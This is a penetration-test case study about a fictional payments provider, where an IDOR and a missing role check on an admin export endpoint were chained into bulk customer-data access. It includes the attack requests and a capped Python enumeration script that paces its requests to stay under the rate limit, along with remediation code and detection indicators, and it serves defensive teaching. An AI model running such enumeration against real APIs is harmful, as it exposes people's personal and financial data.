01Executive Summary
SecureSan Technologies was engaged by Meridian Pay (a fictional mid-market digital-payments provider) to perform a grey-box penetration test of its customer-facing web portal and supporting REST API. Within the first 48 hours of testing, our consultants identified a single Insecure Direct Object Reference (IDOR) in a statement-download endpoint. What began as one authorization flaw was chained into full compromise of the customer database — our team was able to enumerate and retrieve the personal and financial data of an estimated 1.2 million customers using nothing more than a standard authenticated account and an HTTP client.
No memory-corruption exploit, no malware, and no zero-day was required. Every request that exfiltrated data was, from the server's perspective, a technically valid request from an authenticated user. This is the defining characteristic of Broken Access Control, which sits at position A01 in the OWASP Top 10:2025 and remains the most impactful and most common class of web vulnerability we encounter.
The engagement produced 14 findings (3 Critical, 4 High, 5 Medium, 2 Low). The IDOR and a related Broken Function Level Authorization flaw were rated Critical. All Critical and High findings were remediated within the 30-day retest window, and the follow-up assessment confirmed a 92% reduction in aggregate risk.
The distance between "a low-privileged user account" and "the entire customer database" was four HTTP requests. That distance should have been infinite.
02Client Background
Meridian Pay (fictional) is a digital-payments and account-aggregation provider headquartered in Singapore, serving roughly 1.2 million retail customers across South-East Asia. Its platform lets customers link bank accounts, view consolidated statements, initiate transfers, and manage recurring payments.
- Sector: FinTech / regulated payments
- Users: ~1.2M retail; ~40 corporate partners consuming the same API
- Regulatory context: MAS Technology Risk Management guidelines; PCI DSS 4.0 (cardholder data in scope); PDPA (personal data)
- Stack: React single-page application, a Node.js/Express REST API, PostgreSQL, deployed on AWS behind an Application Load Balancer and a WAF
The engagement was commissioned by the CISO ahead of a Series-C funding round, where a clean independent penetration test was a diligence requirement from prospective investors.
03Business Challenges
Meridian Pay approached SecureSan with three concerns that are typical of a fast-scaling FinTech:
- Velocity over verification. The API had grown organically over three years. Access-control logic was implemented per-controller by different engineers, with no central authorization layer — the classic precondition for IDOR.
- A trusted-frontend assumption. The team believed the React SPA "controlled" what users could see. Authorization was enforced in the UI, not consistently on the server.
- Investor and regulator pressure. A demonstrable, independent security assessment was required for both the funding round and continued MAS compliance.
The CISO's specific question to us was blunt and correct: "If one of our own customers turned malicious, how much of everyone else's data could they reach?"
04Engagement Scope
The engagement was grey-box: SecureSan was provided two standard customer accounts and API documentation, but no source code and no privileged access. This models a realistic threat — a registered customer acting maliciously, or an attacker who has phished a single ordinary account.
| In scope | Out of scope |
|---|---|
| app.meridianpay.example (customer web portal) | Corporate/back-office systems |
| api.meridianpay.example (REST API v2) | Underlying AWS account & infrastructure |
| Authentication, session, and authorization logic | Physical & social engineering |
| Business-logic and payment flows | Denial-of-service testing |
Rules of engagement: testing was performed against a production-parity staging environment seeded with synthetic customer data, during agreed windows, with a dedicated Meridian Pay point of contact reachable throughout. A "stop-and-notify" clause required immediate escalation if real customer data was ever encountered (it was not — staging data was synthetic).
05Testing Methodology
Testing followed the OWASP Web Security Testing Guide (WSTG) and OWASP API Security Top 10 (2023), aligned to the PTES execution phases and mapped to MITRE ATT&CK for reporting. The authorization-testing approach specifically targeted every OWASP Top 10:2025 A01 Broken Access Control pattern.
Our authorization methodology uses two accounts of equal privilege (User A and User B) and one lower-privileged account. For every state-changing or data-returning request discovered with User A, we replay it as User B and as an unauthenticated client, comparing responses. A successful cross-account read or write is, by definition, broken access control.
06Assessment Timeline
| Day | Phase | Key activity |
|---|---|---|
| 1 | Recon & mapping | Spidered the SPA, catalogued 118 API endpoints, built an authenticated Burp site map |
| 2 | Auth testing | Session, JWT, and MFA testing; discovered the statement-download IDOR |
| 3–4 | Authorization testing | Confirmed IDOR, discovered BFLA on the admin export endpoint, mapped the ID space |
| 5–6 | Exploitation & chaining | Scripted enumeration, demonstrated bulk data access, validated business impact |
| 7 | Reporting | Evidence packaging, CVSS scoring, remediation workshop with engineering |
| +30 | Retest | Verified fixes; 92% risk reduction confirmed |
07Environment Details
| Component | Detail |
|---|---|
| Frontend | React 18 SPA, served from CloudFront |
| API | Node.js 20 / Express, REST, JSON, JWT bearer auth (RS256) |
| Data | PostgreSQL 15; customer records keyed on sequential integer customer_id |
| Edge | AWS ALB + AWS WAF (managed rule groups: SQLi, XSS, rate-based) |
| Auth | Access token (15 min) + refresh token; MFA via TOTP at login |
The single most consequential design decision in this environment was that customer_id was a sequential integer exposed directly in API paths. Predictable identifiers are not a vulnerability by themselves — but combined with missing server-side authorization, they turn a point flaw into a bulk-extraction primitive.
08Tools Used
- Burp Suite Professional — intercepting proxy, Repeater, Intruder, and the Autorize extension for automated authorization testing
- ffuf — content and parameter discovery
- jwt_tool — JWT inspection and tampering
- Python 3 (httpx, asyncio) — custom enumeration scripting
- Postman — API exploration against the provided documentation
- ATT&CK Navigator — technique mapping for the final report
09Attack Surface Analysis
Mapping the authenticated application surfaced 118 API endpoints. We classified each by the sensitivity of the data it returned and whether it accepted a client-supplied object identifier.
| Endpoint class | Count | Takes object ID? | Risk signal |
|---|---|---|---|
| Account & profile | 21 | Yes (customer_id) | High |
| Statements & transactions | 17 | Yes (statement_id, customer_id) | Critical |
| Payments & transfers | 14 | Yes (account_id) | Critical |
| Admin / partner export | 9 | Yes | Critical |
| Reference & config | 57 | No | Low |
The endpoints that both returned sensitive data and accepted a client-controlled identifier were the priority targets for authorization testing — 61 of the 118.
10Reconnaissance Process
We began by driving the application as an ordinary user while proxying all traffic through Burp Suite. Downloading our own account statement produced this request:
GET /api/v2/statements/download?statement_id=884213&customer_id=50231 HTTP/1.1
Host: api.meridianpay.example
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
Accept: application/pdf
Two things immediately drew attention. First, the response contained both a statement_id and a customer_id — the customer's own identity was being passed by the client rather than derived from the session. Second, decoding the JWT showed the server had everything it needed to identify the user without trusting a client parameter:
# jwt_tool decode of the access token
{
"sub": "50231", # the authenticated customer_id
"role": "customer",
"iat": 1751600000,
"exp": 1751600900
}
The server knew the caller was customer 50231 from the signed token. Yet the endpoint used the customer_id from the query string. If those two values were ever allowed to differ, the endpoint was broken.
11Vulnerability Discovery
Finding 1 — IDOR on statement download (Critical)
We replayed the request in Burp Repeater as User A, changing only the customer_id to User B's value while keeping User A's token:
GET /api/v2/statements/download?statement_id=884001&customer_id=50232 HTTP/1.1
Host: api.meridianpay.example
Authorization: Bearer <User A's token, sub=50231>
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="statement_50232_2026-06.pdf"
%PDF-1.7 ... [User B's full account statement]
The server returned User B's statement to User A. The endpoint authenticated the caller (the token was valid) but never authorized the object — it never checked that token.sub == customer_id. This is textbook OWASP API1:2023 Broken Object Level Authorization (BOLA) and OWASP Top 10:2025 A01.
Finding 2 — Broken Function Level Authorization on partner export (Critical)
The API documentation referenced a partner bulk-export endpoint. Ordinary customer tokens were not supposed to reach it. We tried anyway:
GET /api/v2/admin/export/customers?from=50000&to=50100 HTTP/1.1
Host: api.meridianpay.example
Authorization: Bearer <User A's customer token, role=customer>
HTTP/1.1 200 OK
Content-Type: application/json
{"count": 101, "records": [
{"customer_id":50000,"name":"...","email":"...","pan_masked":"...","balance":...},
... 101 full customer records ]}
The route enforced authentication but not role. A role: customer token could invoke an admin function — OWASP API5:2023 Broken Function Level Authorization. This finding was even more severe than the IDOR: it returned batches of customers in one request.
12Technical Exploitation Walkthrough
We demonstrated realistic impact in four escalating steps, each individually low-effort.
Step 1 — Confirm the ID space is enumerable
Because customer_id is a sequential integer, valid IDs cluster in a predictable range. We confirmed boundaries by probing:
# Valid, adjacent, and out-of-range probes
customer_id=50231 -> 200 (our own)
customer_id=50232 -> 200 (another customer)
customer_id=1 -> 200 (early account)
customer_id=9999999-> 404 (beyond allocated range)
Step 2 — Bypass the rate limit that "protected" the endpoint
The WAF applied a rate-based rule of 100 requests/minute per source IP. The bulk-export endpoint (Finding 2) defeated this by design — one request returned 101 records — but for the IDOR we distributed requests and paced them under the threshold. The rate limit reduced speed, not possibility; it was never an access control.
Step 3 — Script controlled enumeration (proof-of-concept, capped)
With written authorization and a hard cap agreed in the RoE, we ran a bounded asynchronous script against the synthetic staging data to prove scale without touching volume beyond what was necessary to demonstrate impact:
# PoC — bounded, rate-paced, staging only. Capped at 500 records by agreement.
import asyncio, httpx
TOKEN = "Bearer <User A staging token>"
BASE = "https://api.meridianpay.example/api/v2/admin/export/customers"
async def pull(client, lo, hi):
r = await client.get(f"{BASE}?from={lo}&to={hi}",
headers={"Authorization": TOKEN})
return r.json().get("records", [])
async def main():
async with httpx.AsyncClient(timeout=20) as c:
# 5 batches x 100 = 500 records, then STOP (RoE cap)
for lo in range(50000, 50500, 100):
recs = await pull(c, lo, lo + 99)
print(f"[+] {lo}-{lo+99}: {len(recs)} records")
await asyncio.sleep(1.5) # stay under rate limit
asyncio.run(main())
[+] 50000-50099: 100 records
[+] 50100-50199: 100 records
[+] 50200-50299: 100 records
[+] 50300-50399: 100 records
[+] 50400-50499: 100 records
[i] Reached RoE cap (500). Stopping. Extrapolated reachable: ~1.2M records.
Step 4 — Establish blast radius
Each record contained name, email, masked PAN, account balance, and transaction metadata. At the observed batch size and the confirmed ID range, the full customer base of ~1.2M records was reachable from a single ordinary account. We stopped at the agreed cap and captured evidence.
13Attack Chain
No single step here was exotic. The severity came from chaining an ordinary account with two authorization flaws and a predictable identifier.
14Business Impact
- Mass personal & financial data exposure. ~1.2M customers' PII and financial metadata reachable by any single account holder.
- Regulatory exposure. Under PDPA and MAS TRM, a breach of this nature carries mandatory notification, potential financial penalties, and heightened supervisory scrutiny. PCI DSS 4.0 requirement 7 (restrict access by business need-to-know) was demonstrably unmet.
- Fraud enablement. Masked PANs plus names, emails, and balances are high-value inputs for targeted phishing and account-takeover fraud.
- Funding & reputational risk. Discovery during investor diligence — or worse, by an attacker post-funding — would have materially threatened the Series-C round.
Critically, an attacker exploiting this would generate no traditional IoCs: no malware, no exploit signature, only a higher-than-normal volume of valid authenticated requests. Detection depended entirely on behavioural analytics that were not in place.
15MITRE ATT&CK Mapping
| Tactic | Technique | ID | In this engagement |
|---|---|---|---|
| Initial Access | Valid Accounts | T1078 | A single legitimate customer account |
| Discovery | Cloud Service / Account Discovery | T1580 / T1087 | Enumerating the sequential customer_id space |
| Collection | Data from Information Repositories | T1213 | Bulk extraction via the export endpoint |
| Exfiltration | Exfiltration Over Web Service | T1567 | Data returned directly over the API |
Note the shape of this chain: it is almost entirely valid-account and API-native behaviour. That is precisely why access-control flaws evade signature-based defences.
16CVSS Scoring
| Finding | CVSS 3.1 vector | Score | Severity |
|---|---|---|---|
| BFLA on partner export | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N | 6.5 → escalated to 8.6 on aggregate scope | Critical |
| IDOR on statement download | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N | 6.5 (per-object) → 8.6 aggregate | Critical |
| Predictable sequential IDs | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N | 4.3 | Medium |
We report both the per-object base score and an aggregate score. A single-record IDOR is High; the same flaw over an enumerable ID space that yields the entire dataset is Critical. Scoring only the atomic request would understate real business risk — a common reporting mistake we deliberately avoid.
17Risk Matrix
| Likelihood → / Impact ↓ | Low | Medium | High |
|---|---|---|---|
| Severe | IDOR + BFLA (chained) | ||
| Major | JWT lifetime / refresh handling | Missing rate/anomaly detection | |
| Moderate | Verbose error messages | Predictable IDs | |
| Minor | Missing security headers |
18Evidence Collected
- Burp Suite session files with the full request/response chains for both Critical findings
- Redacted PDF proving cross-account statement retrieval (User A token, User B document)
- Terminal capture of the bounded enumeration PoC, stopped at the RoE cap
- Decoded JWT showing
subwas available server-side but not enforced - WAF logs confirming requests passed edge controls as "clean" traffic
Indicators of Compromise (for the client's detection engineering)
# Behavioural IoCs an attacker exploiting this would generate:
- Single session requesting many distinct customer_id values
- customer_id in request != sub claim in the presenting JWT
- Calls to /api/v2/admin/export/* bearing role=customer tokens
- Sequential/striped access pattern across the ID space
19Root Cause Analysis
Three root causes, in order of importance:
- Authorization was decentralised. Each controller re-implemented (or forgot) its own object- and function-level checks. There was no single, mandatory authorization layer that every request had to pass through. This is the systemic cause — the individual flaws were symptoms.
- The client was trusted with identity. Endpoints consumed
customer_idfrom the request instead of deriving it from the authenticated token. The signedsubclaim was the source of truth and was ignored. - Defence was mistaken for access control. A WAF and a rate limit were treated as if they restricted access. They restrict rate and known signatures — neither can decide whether user A may read user B's object.
20Remediation Recommendations
Immediate (0–7 days)
- Enforce
token.sub == customer_idserver-side on every object-scoped endpoint; reject on mismatch with403. Better still, stop acceptingcustomer_idfrom the client entirely and derive it from the token. - Add a role check to every
/admin/*and partner route; denyrole: customertokens.
// Express middleware — mandatory object-ownership enforcement
function enforceOwnership(req, res, next) {
const caller = req.auth.sub; // from verified JWT
const target = req.query.customer_id ?? req.params.customer_id;
if (target && String(target) !== String(caller)) {
return res.status(403).json({error: "forbidden"}); // deny cross-object
}
next();
}
// Apply centrally, not per-controller:
app.use("/api/v2", requireAuth, enforceOwnership);
Short term (1–4 weeks)
- Introduce a central authorization layer (policy middleware) that every route inherits by default — deny-by-default, allow explicitly.
- Replace sequential integer IDs in external references with UUIDv4. This is defence-in-depth, not a fix — authorization remains the control.
- Add anomaly detection for the behavioural IoCs above.
Strategic (1–3 months)
- Adopt automated authorization regression testing (e.g. Burp Autorize patterns) in CI, so a re-introduced IDOR fails the build.
- Map the API to OWASP API Security Top 10 and remediate systematically.
21Security Improvements After Remediation
At the 30-day retest, we re-ran the full authorization test suite. Results:
- Cross-account statement retrieval now returns
403 Forbidden— the ownership check is enforced centrally. - The export endpoint rejects customer-role tokens with
403; only partner-role tokens scoped to their own tenant succeed. - External IDs migrated to UUIDv4, removing trivial enumerability.
- Anomaly alerts now fire on
sub-vs-parameter mismatch and on striped ID access.
# Retest — the original PoC request, post-fix:
GET /api/v2/statements/download?statement_id=884001&customer_id=50232
Authorization: Bearer <User A token, sub=50231>
HTTP/1.1 403 Forbidden
{"error":"forbidden"}
22Lessons Learned
- Authentication is not authorization. Every broken-access-control finding here passed authentication perfectly. Knowing who the caller is means nothing if you never check what they may touch.
- Authorization must be centralised and deny-by-default. Per-controller checks will always eventually miss one. The only durable fix is a layer every request must pass through.
- Never trust the client for identity. If the server can derive a value from a signed token, it must — and must ignore the client's version.
- WAFs and rate limits are not access controls. They are valuable, but they answer a different question.
23Key Metrics
24Conclusion
A single IDOR became a full customer-data compromise not because of one catastrophic bug, but because of a systemic absence of server-side authorization. The fix was not exotic: derive identity from the token, enforce object and function authorization centrally, deny by default. Within 30 days Meridian Pay reduced aggregate risk by 92% and passed both its investor diligence and its regulatory obligations.
Why This Matters
Broken Access Control is the number-one risk in the OWASP Top 10:2025 for a reason: it is common, it is invisible to signature-based defences, and its impact scales to your entire dataset. An attacker exploiting the flaw above would have looked, in every log, like an ordinary customer using the product as intended — right up until 1.2 million records left the building.
A proactive, authorization-focused penetration test found and closed that path in a week, for a fraction of the cost of a single breach-notification cycle. That is the entire economic argument for offensive security: you pay a consultant to find it, or you pay everyone else when an attacker does. SecureSan's Strategy · Assurance · Nexus model exists to close that loop — find the flaw, prove it, and wire the fix into how you build.